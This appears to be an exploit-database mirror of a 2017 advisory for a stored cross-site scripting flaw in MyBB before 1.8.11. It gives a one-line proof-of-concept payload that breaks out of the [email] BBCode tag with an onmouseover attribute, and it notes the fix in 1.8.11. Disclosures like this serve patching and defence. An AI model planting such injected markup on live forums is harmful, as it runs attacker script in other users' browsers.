MyBB < 1.8.11 Cross Site Scripting

CVE	Category	Price	Severity
CVE-XXXX-XXXX	CWE-79	$500	High

Author	Risk	Exploitation Type	Date
Unknown	Critical	Remote	2017-04-12

CVSS	EPSS	EPSSP
Not provided	0	0

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017040071

Below is a copy:

MyBB <1.8.11 Cross Site Scripting#################################

Description:
============

product:MyBB
Homepage:https://mybb.com/
vulnerable  version:<1.8.11
Severity:High risk

===============

Proof of Concept:



=============



1.post a thread or reply any thread ,write:


[email=2"onmouseover="alert(document.location)]hover me[/email]


then when useras mouse hover it,XSS attack will occur!

============

Fixed:
============

This vulnerability was fixed in version 1.8.11

https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/

=============


Best regards,
Zhiyang Zeng of Tencent security platform department

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